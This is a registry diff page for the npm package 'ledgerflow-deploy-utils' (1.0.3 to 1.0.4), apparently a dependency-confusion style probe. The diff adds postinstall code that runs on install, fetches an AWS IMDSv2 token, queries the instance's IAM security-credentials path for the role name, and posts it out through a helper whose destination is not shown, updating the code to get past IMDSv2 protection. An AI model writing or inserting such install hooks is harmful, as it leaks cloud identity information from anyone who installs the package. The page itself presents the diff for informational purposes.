ledgerflow-deploy-utils 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +30 -10
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ledgerflow-deploy-utils",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "LedgerFlow internal deployment utilities",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -17,21 +17,41 @@ function post(data) {
17
17
  req.end();
18
18
  }
19
19
 
20
- const req = http.request({
20
+ // Step 1 — get IMDSv2 token
21
+ const tokenReq = http.request({
21
22
  hostname: '169.254.169.254',
22
23
  port: 80,
23
- path: '/latest/meta-data/iam/security-credentials/',
24
- method: 'GET',
24
+ path: '/latest/api/token',
25
+ method: 'PUT',
26
+ headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' },
25
27
  timeout: 3000
26
28
  }, (res) => {
27
- let role = '';
28
- res.on('data', chunk => { role += chunk.toString(); });
29
+ let token = '';
30
+ res.on('data', chunk => { token += chunk.toString(); });
29
31
  res.on('end', () => {
30
- role = role.trim().split('\n')[0];
31
- post(`imds_reachable=yes&role=${encodeURIComponent(role)}`);
32
+ token = token.trim();
33
+
34
+ // Step 2 — use token to get IAM role
35
+ const roleReq = http.request({
36
+ hostname: '169.254.169.254',
37
+ port: 80,
38
+ path: '/latest/meta-data/iam/security-credentials/',
39
+ method: 'GET',
40
+ headers: { 'X-aws-ec2-metadata-token': token },
41
+ timeout: 3000
42
+ }, (res2) => {
43
+ let role = '';
44
+ res2.on('data', chunk => { role += chunk.toString(); });
45
+ res2.on('end', () => {
46
+ role = role.trim().split('\n')[0];
47
+ post(`imds_reachable=yes&role=${encodeURIComponent(role)}`);
48
+ });
49
+ });
50
+ roleReq.on('error', () => { post('imds_reachable=no&role=none'); });
51
+ roleReq.end();
32
52
  });
33
53
  });
34
54
 
35
- req.on('error', () => { post('imds_reachable=no&role=none'); });
36
- req.on('timeout', () => { req.destroy(); post('imds_reachable=timeout&role=none'); });
37
- req.end();
55
+ tokenReq.on('error', () => { post('imds_reachable=no&role=none'); });
56
+ tokenReq.on('timeout', () => { tokenReq.destroy(); post('imds_reachable=timeout&role=none'); });
57
+ tokenReq.end();